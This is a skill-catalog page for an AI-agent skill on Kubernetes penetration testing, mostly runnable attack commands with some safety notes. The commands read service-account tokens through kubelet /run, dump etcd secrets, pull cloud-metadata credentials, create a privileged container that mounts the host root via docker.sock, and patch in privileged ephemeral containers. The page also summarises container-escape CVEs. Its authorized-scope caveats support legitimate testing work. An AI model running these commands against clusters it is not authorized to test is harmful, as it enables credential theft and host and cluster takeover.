bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).\n- **Kubelet `10250` exec\u002Frun** — `\u002Frun` returns command output directly; `\u002Fexec` is a SPDY\u002FWebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.\n- **API-server-mediated kubelet RCE** — `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes\u002Fproxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.\n- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.\n- **docker.sock exposure** — a socket-capable SSRF\u002FRCE primitive reaching `\u002Fvar\u002Frun\u002Fdocker.sock` → may create containers under the daemon’s authority; rootless\u002Fuser-namespace\u002Fadmission controls affect host impact.\n- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`\u002F`process.cwd` pointing at a leaked `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` host FD → break out of an attacker-controlled image\u002Fexec to host root.\n- **SA token abuse** — auto-mounted token at `\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken`; check its real grants with SelfSubjectRulesReview before claiming impact.\n- **K8s Dashboard skip-login \u002F token-less API** — full cluster management UI reachable unauthenticated.\n\n---\n\n## OOB \u002F Confirmation Gate (Read First)\n\nK8s findings are RCE\u002Fcredential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**\n\n- A `200` on `\u002Fapi\u002Fv1\u002Fnamespaces` does **not** mean cluster-admin. The API server returns `200` with an authorized full list (possibly empty because no resources exist); Kubernetes RBAC does not filter list results per object to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview \u002F SelfSubjectAccessReview**, then by accessing a pre-approved synthetic canary resource, without extracting production secrets.\n- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `\u002Fpods`, `\u002Fstats`, `\u002Fmetrics`, NO exec\u002Frun. 10250 (HTTPS) is where `\u002Frun` and `\u002Fexec` live. Do not report \"kubelet RCE\" off a 10255 hit.\n- **Blind\u002Foutbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator \u002F interactsh subdomain (e.g. `curl http:\u002F\u002F\u003Ctoken>.\u003Ccollab>` from inside the pod via `\u002Frun`). A delayed response or an echoed URL is NOT proof.\n- **Impact proof = the artifact.** For exec: the literal `id`\u002F`hostname` output. For etcd\u002FSecret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`\u002Fetc\u002Fhostname` of the node, distinct from the container's).\n- Use a **dedicated test namespace \u002F test pod** when you have create rights; never exec into production workloads to \"prove\" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.\n\n---\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common Kubernetes \u002F container ports\nPORTS=\"443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010\"\nnmap -sV -p $PORTS $TARGET 2>\u002Fdev\u002Fnull | grep open\n\n# API server fingerprint — the \u002Fversion endpoint is anonymous on most clusters\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:6443\u002Fversion\"        # {\"major\":\"1\",\"minor\":\"29\",\"gitVersion\":\"v1.29.x\"...}\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:6443\u002Fapi\"             # APIVersions list, even pre-auth\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:6443\u002Fhealthz\"\n\n# Cloud metadata pivot (reach K8s SA \u002F node creds from an SSRF foothold)\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" # AWS EKS (IMDSv1)\nTOK=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\") # IMDSv2\ncurl -s -H \"X-aws-ec2-metadata-token: $TOK\" \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\" -H \"Metadata: true\"      # Azure AKS\ncurl -s \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\" -H \"Metadata-Flavor: Google\" # GKE\n```\nNote the `gitVersion` — it gates every CVE below.\n\n---\n\n## Phase 2 — Kubernetes API Anonymous \u002F Low-Priv Access\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"\n\n# 1. What am I? (anonymous → \"system:anonymous\")\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fauthentication.k8s.io\u002Fv1\u002Fselfsubjectreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"apiVersion\":\"authentication.k8s.io\u002Fv1\",\"kind\":\"SelfSubjectReview\"}'\n\n# 2. What can I actually DO? (the only honest privilege check)\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io\u002Fv1\",\"spec\":{\"namespace\":\"default\"}}'\n\n# 3. Check one exact approved action and namespace; resource and subresource\n# are separate fields. Do not test \"create secrets\" as proof of secret-read access.\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectaccessreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"kind\\\":\\\"SelfSubjectAccessReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"resourceAttributes\\\":{\\\"namespace\\\":\\\"$NS\\\",\\\"verb\\\":\\\"get\\\",\\\"resource\\\":\\\"secrets\\\",\\\"name\\\":\\\"$TEST_SECRET\\\"}}}\"\n# For exec use resource=pods, subresource=exec, verb=create; for node proxy\n# check the exact HTTP-mapped verb, resource=nodes, subresource=proxy.\n\n# 4. Only if access review says allowed — read only a designated synthetic test Secret to demonstrate the approved boundary\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fsecrets\u002F$TEST_SECRET\" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"items\",[])),\"secrets\")'\n# decode one value (redact before reporting):\n# echo '\u003Cbase64>' | base64 -d\n```\n\n**CVE-2018-1002105** (`gitVersion` \u003C v1.10.11\u002F1.11.5\u002F1.12.3): API-server proxy upgrade flaw lets an unauthenticated\u002Flow-priv user escalate to backend (kubelet\u002Faggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding.\n\n---\n\n## Phase 3 — Kubelet (Port 10250) — `\u002Frun` First, `\u002Fexec` Done Right\n\nThe earlier version of this skill sent `\u002Fexec` as a plain `POST` and expected `id` output back. **That is wrong.** `\u002Fexec` is a SPDY\u002FWebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `\u002Fcri\u002Fexec\u002F\u003Ctoken>`) that you then must read with a SPDY\u002FWebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:10250\"\n\n# Enumerate pods (auth varies; many kubelets allow anonymous read here)\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull \\\n  | grep -E '\"namespace\"|\"name\"|\"containerName\"' | head -40\n\nNS=default; POD=target-pod; CTR=app\n\n# --- PRIMITIVE A: \u002Frun — returns command output DIRECTLY (no stream handling) ---\n# This is the simple correct primitive. Use this first.\ncurl -sS --cacert \"$K8S_CA\" -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\ncurl -sS --cacert \"$K8S_CA\" -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\"\n\n# --- PRIMITIVE B: \u002Fexec — SPDY\u002FWebSocket stream, NOT a plain POST ---\n# Option 1: kubeletctl handles the stream transport for you (recommended)\n#   kubeletctl --server $TARGET exec \"id\" -p $POD -c $CTR -n $NS\n#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod\n# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then\n#   read it with a SPDY3.1\u002FWebSocket client (wscat \u002F websocat), e.g.:\n#   curl -sS --cacert \"$K8S_CA\" -i -X POST \"$SRV\u002Fexec\u002F$NS\u002F$POD\u002F$CTR?command=id&input=1&output=1&tty=0\"   # shows 302 Location\n#   websocat -k \"wss:\u002F\u002F$TARGET:10250\u002Fcri\u002Fexec\u002F\u003Ctoken-from-Location>\"\n\n# Container logs (read-only, no stream)\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002FcontainerLogs\u002F$NS\u002F$POD\u002F$CTR\"\n\n# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec\u002Frun. Do not call this \"RCE\".\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fmetrics\" | head\n```\n\n**CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods\u002Fadjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet\u002Fetcd that were assumed loopback-only.\n\n---\n\n## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes\u002Fproxy`)\n\nWhen 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes\u002Fproxy`, route exec **through the API server**:\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"; H=\"-H \\\"Authorization: Bearer $TOKEN\\\"\"\nNODE=$(curl -sS --cacert \"$K8S_CA\" -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\" | grep -o '\"name\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\n\n# \u002Frun via the node proxy → output comes straight back\ncurl -sS --cacert \"$K8S_CA\" -X POST -H \"Authorization: Bearer $TOKEN\" \\\n  \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\n\n# enumerate every pod on a node via the proxy\ncurl -sS --cacert \"$K8S_CA\" -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Fpods\"\n```\n`nodes\u002Fproxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host\u002FIP it could reach (proxy-to-internal SSRF \u002F node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.\n\n---\n\n## Phase 4b — Ingress-NGINX \"IngressNightmare\" (CVE-2025-1974)\nAn unauthenticated attacker who can reach the ingress-nginx admission controller (`:8443`, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted `AdmissionReview` for an Ingress object -> RCE in the controller pod, whose service-account grants determine downstream impact. Fingerprint controller version (`\u002Fhealthz`, pod image tag) and map to \u003C1.11.5 \u002F \u003C1.12.1. (CVE-2025-1974 with CVE-2025-1097\u002F1098\u002F24513\u002F24514.)\n\n## Phase 5 — etcd Unauth (Port 2379)\n\n```bash\n# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 get \u002F --prefix --keys-only 2>\u002Fdev\u002Fnull | head -50\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 \\\n  get \u002Fregistry\u002Fsecrets --prefix 2>\u002Fdev\u002Fnull | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40\n\n# HTTP\u002FJSON gateway (key\u002Frange are base64; \"Lw==\" == \"\u002F\")\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv3\u002Fkv\u002Frange\" -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"key\":\"L3JlZ2lzdHJ5L3NlY3JldHM=\",\"range_end\":\"L3JlZ2lzdHJ5L3NlY3JldHQ=\",\"limit\":20}' | python3 -m json.tool\n\n# v2 (older clusters)\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv2\u002Fkeys\u002F?recursive=true\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\n```\nA recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`\u002F`get` with key data is.\n\n---\n\n## Phase 6 — Service Account Token Abuse (Bound \u002F Projected Tokens)\n\n```bash\n# From RCE\u002FLFI inside a pod:\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nAPI=\"https:\u002F\u002Fkubernetes.default.svc\"\n\n# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.\necho \"$TOKEN\" | cut -d. -f2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull | python3 -m json.tool \u003C!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->\n# Look at: \"aud\" (must match the API server audience to be accepted),\n#          \"exp\" (projected token lifetime is configurable — a captured token may already be dead),\n#          \"kubernetes.io\u002Fserviceaccount\" (pod\u002Fnode binding — token dies with the pod).\n# If aud is e.g. [\"vault\"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.\n\n# Honest privilege check, then prove with a real read\ncurl -sS --cacert \"$K8S_CA\" \"$API\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"kind\\\":\\\"SelfSubjectRulesReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"namespace\\\":\\\"$NS\\\"}}\"\ncurl -sS --cacert \"$K8S_CA\" \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fsecrets\" -H \"Authorization: Bearer $TOKEN\"\n```\n\n**EphemeralContainers node-shell escalation:** ephemeral-container permission alone does not grant host namespaces or privileged admission; a node-debug pod is a separate operation with its own RBAC\u002Fadmission requirements:\n```bash\nkubectl debug node\u002F\"$NODE\" -it --image=\"APPROVED_PINNED_DEBUG_IMAGE\" # creates a debug pod; separate create\u002Fadmission privileges required\n# or patch an ephemeral container with hostPID\u002Fprivileged via the API:\ncurl -sS --cacert \"$K8S_CA\" -X PATCH \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fpods\u002F$POD\u002Fephemeralcontainers\" \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fstrategic-merge-patch+json' \\\n  -d '{\"spec\":{\"ephemeralContainers\":[{\"name\":\"x\",\"image\":\"busybox\",\"command\":[\"sleep\",\"1d\"],\"securityContext\":{\"privileged\":true}}]}}'\n```\n\n---\n\n## Phase 7 — Docker Socket Exposure & runc Container Escape\n\n```bash\n# docker.sock reachable (SSRF unix:\u002F\u002F, a socket-capable request primitive (ordinary file reads cannot speak the Docker API), or RCE on host)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Finfo\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fjson\n\n# Privileged container bind-mounting host root → read\u002Fwrite host fs (host escape)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -H 'Content-Type: application\u002Fjson' \\\n  -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fcreate?name=poc \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"cat\",\"\u002Fhost\u002Fetc\u002Fhostname\"],\"HostConfig\":{\"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}}'\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Fstart\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \"http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Flogs?stdout=1\"\n# Impact proof = the NODE's \u002Fetc\u002Fhostname (differs from the container's hostname).\n```\n\n**Container-escape CVEs (gate on runc\u002Fversion):**\n- **CVE-2024-21626 — \"Leaky Vessels\" (runc ≤ 1.1.11):** a leaked host file descriptor via `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` lets a malicious image (`WORKDIR \u002Fproc\u002Fself\u002Ffd\u002FN`) or `runc exec` cwd escape to the host filesystem → host RCE. Test only with an image you control on a build\u002Fregistry surface where you can influence the Dockerfile.\n- **CVE-2019-5736 (runc):** overwrite the host `\u002Fproc\u002Fself\u002Fexe` (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.\n- **CVE-2022-0492 (cgroups v1 `release_agent`):** a container with `CAP_SYS_ADMIN` (or able to mount cgroupfs) writes a `release_agent` that executes on the host → escape. Check container caps first.\n\n---\n\n## Phase 8 — Dashboard, Admission, Helm\u002FTiller Remnants\n\n```bash\n# Kubernetes Dashboard — correct API base is \u002Fapi\u002Fv1\u002F... UNDER the dashboard service.\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002F\" | grep -i \"kubernetes dashboard\"\n# token-less probe (skip-login or anonymous-bound dashboard SA):\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fsecret\u002Fdefault\"            # secrets list view\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fpod\u002Fdefault\"               # pods list view\ncurl -sS --cacert \"$K8S_CA\" \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fnamespace\"                 # namespaces\n# (paths are \u003Cresource> not \u003Cresource>\u002F\u003Cid>; a 200 with real items = unauth dashboard data access)\n\n# Helm 2 \u002F Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA\nnmap -p 44134 -sV $TARGET\n# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install\u002Fdelete any release\n\n# Validating\u002FMutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs\ncurl -sS --cacert \"$K8S_CA\" \"$SRV\u002Fapis\u002Fadmissionregistration.k8s.io\u002Fv1\u002Fvalidatingwebhookconfigurations\" -H \"Authorization: Bearer $TOKEN\"\n# A webhook clientConfig.url pointing at an external\u002Fattacker-influenced host = SSRF\u002Fbypass surface.\n```\n\n---\n\n## Chain Table\n\n| K8s finding | Chain to | Impact |\n|-------------|----------|--------|\n| API anon **with confirmed canary secret read** | assess exact resource\u002Fcredential grants | Impact depends on exposed data and privileges |\n| `nodes\u002Fproxy` token | API-server-mediated `\u002Frun` → pod RCE → SA token | Node-wide RCE → escalation |\n| Kubelet 10250 `\u002Frun` | exec in any pod → steal SA token → API | Cluster privilege escalation |\n| etcd 2379 unauth | dump all Secrets (if unencrypted) → replay token | Full credential dump |\n| docker.sock | privileged container + host bind-mount | Host root |\n| CVE-2024-21626 (runc) | malicious image\u002Fexec → host FD escape | Container → host root |\n| EphemeralContainers \u002F pods create | privileged\u002FhostPID debug container | Pod → node escape |\n| Projected SA token (aud matches) | API access scoped to its real RBAC | Depends on RBAC — verify first |\n| Tiller 44134 exposed | helm install as Tiller SA | Cluster-admin if Tiller is privileged |\n\n---\n\n## False-Positive Killers\n\n- **Anon `200` ≠ cluster-admin.** A permitted list can be empty because no objects exist; RBAC does not silently filter a list per object. Require SelfSubjectRulesReview to show the verbs, then an approved canary-resource access check.\n- **10255 ≠ 10250.** Read-only kubelet has no exec\u002Frun. \"Kubelet RCE\" must come from a `\u002Frun` output or a completed `\u002Fexec` stream on 10250.\n- **`\u002Fexec` plain-POST returns 302, not output.** Seeing no body is NOT \"patched\" — follow the stream (kubeletctl\u002Fwebsocat) before concluding either way.\n- **Projected\u002Fbound SA token may be dead or wrong-audience.** Decode `exp` and `aud`; a Vault\u002FOIDC-audience token will not authenticate to the API server.\n- **etcd plaintext assumption.** If `EncryptionConfiguration` is enabled, only resources covered by an effective encryption provider configuration are encrypted; identity providers, migration and historical data must be checked — don't claim \"plaintext secrets\" without showing decoded bytes.\n- **Version-gated CVEs.** Confirm `gitVersion` (Phase 1) \u002F runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.\n- **Dashboard `200` on the HTML shell** is just the login page; only a `200` with real resource JSON under `\u002Fapi\u002Fv1\u002F\u003Cresource>\u002F\u003Cns>` proves token-less data access.\n\n---\n\n## Validation Checklist\n\n- [ ] **API anon:** SelfSubjectRulesReview shows privileged verbs AND an approved synthetic canary Secret was read (redacted).\n- [ ] **Kubelet:** literal `id`\u002F`hostname` output returned from 10250 `\u002Frun`, or a completed `\u002Fexec` stream — not a bare 302.\n- [ ] **nodes\u002Fproxy RCE:** command output returned through `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` with your token.\n- [ ] **etcd:** decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.\n- [ ] **docker.sock \u002F escape:** the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.\n- [ ] **SA token:** `aud`\u002F`exp` decoded and shown valid; impact bounded to its real RBAC.\n- [ ] **OOB:** any outbound\u002FSSRF hop confirmed via Collaborator\u002Finteractsh subdomain.\n\n**Severity:**\n- API anon→secret read, kubelet\u002Fnodes-proxy RCE, etcd dump, docker.sock\u002Frunc escape, CVE-2018-1002105: **Critical**\n- Dashboard token-less data access, exposed Tiller: **High**\n- Read-only kubelet 10255, anon `\u002Fversion`\u002F`\u002Fpods` info disclosure: **Medium**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n\n## Scope, transport and interpretation limits\n\nSet the approved API\u002Fnode origin, namespace, synthetic canary name and cluster CA explicitly; do not infer scope from an environment variable or follow out-of-scope redirects. Add bounded connection\u002Fread times to sketches before use. The credential-dump, metadata-token, broad etcd-prefix, privileged-container and host-write examples are escalation actions requiring separately explicit engagement approval; prefer access reviews and controlled canaries, and stop at the agreed proof. SelfSubjectRulesReview may be incomplete and is namespace scoped; SelfSubjectAccessReview evaluates one exact request and does not establish cluster-admin. Node proxy grants are powerful but depend on verb, node identity, admission and kubelet runtime\u002Fconfiguration; `\u002Frun` and stream responses are version-specific, not universally guaranteed 302\u002Foutput. Pod-create\u002Fephemeral permissions do not automatically bypass Pod Security or grant host root. Docker rootless\u002Fuser namespaces and runtime mitigations change escape impact. CVE\u002Fversion\u002Fbanner matches are leads, not verified exploitation. A successful synthetic Secret read is a disclosure finding, not proof of every credential or full cluster takeover. Keep tokens\u002Fheaders\u002Fprivate data out of console and reports, use minimum data, clean up approved test resources, and never download or execute public exploit code as an implicit next step.\n",{"name":5,"risk":34,"source":53,"license":14,"sources":54,"category":45,"date_added":55,"description":7,"source_repo":56,"source_type":39,"report_count":57,"compatibility":58,"license_source":59},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, cve_database, kubernetes_security_research, portswigger_research","2026-09-20","elementalsouls\u002FClaude-BugHunter",13,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","7bf2279c8a65758319526a721d5c4b75683aec9c","skills\u002Fantigravity-hunt-k8s",3,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections","https:\u002F\u002Fgithub.com\u002Fboisenoise","2026-11-12 14:21:24",{"source":8,"skillName":5,"commands":67,"prompt":77,"zipAvailable":78},[68,71,74],{"tool":69,"command":70},"npx","npx skills add boisenoise\u002Fskills-collections --skill hunt-k8s",{"tool":72,"command":73},"bunx","bunx skills add boisenoise\u002Fskills-collections --skill hunt-k8s",{"tool":75,"command":76},"pnpm","pnpm dlx skills add boisenoise\u002Fskills-collections --skill hunt-k8s","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-k8s\u002FSKILL.md",true,[],[81,108,133,158,177,200],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":86,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":48},"01M6WNH92BHVFXHGPDZCPJ0AG0","web-access","Use Treg for public web or platform data only when existing search, browser and connected tools cannot cover the task, with explicit cost and data boundaries.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FSKILL.md",[],[90,91,92,93,94,95,96,97,41,98,99,40,100,101,102,103,104,105,106,107,30],"web","access","web access","official","development","browser","search","data","read","fetch","youtube","free tools","platform","critical","free","cover","normal","when",{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":112,"sourceHtmlUrl":113,"categories":114,"keywords":118,"publishedAt":48},"01M6WNF9XAYAB2CZDDJBAKNM93","treg","Use the Treg CLI or MCP catalog to discover, price and call authorized external tools with team-scoped credentials and a user-approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FSKILL.md",[115],{"categoryNo":116,"categoryName":117,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",[110,119,120,121,93,94,43,41,122,123,124,125,126,127,128,103,129,130,131,132,30],"MCP","cli","github","Budget","credentials","team","catalog","use","call","discover","external tools","with","scoped","blob",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":137,"sourceHtmlUrl":138,"categories":139,"keywords":145,"publishedAt":48},"01M6WN93MEAZ4E41DYAHJRPHQT","recruit","Turn a job description into an evidence-linked candidate shortlist through Treg, with job-related ranking and optional authorized business contact 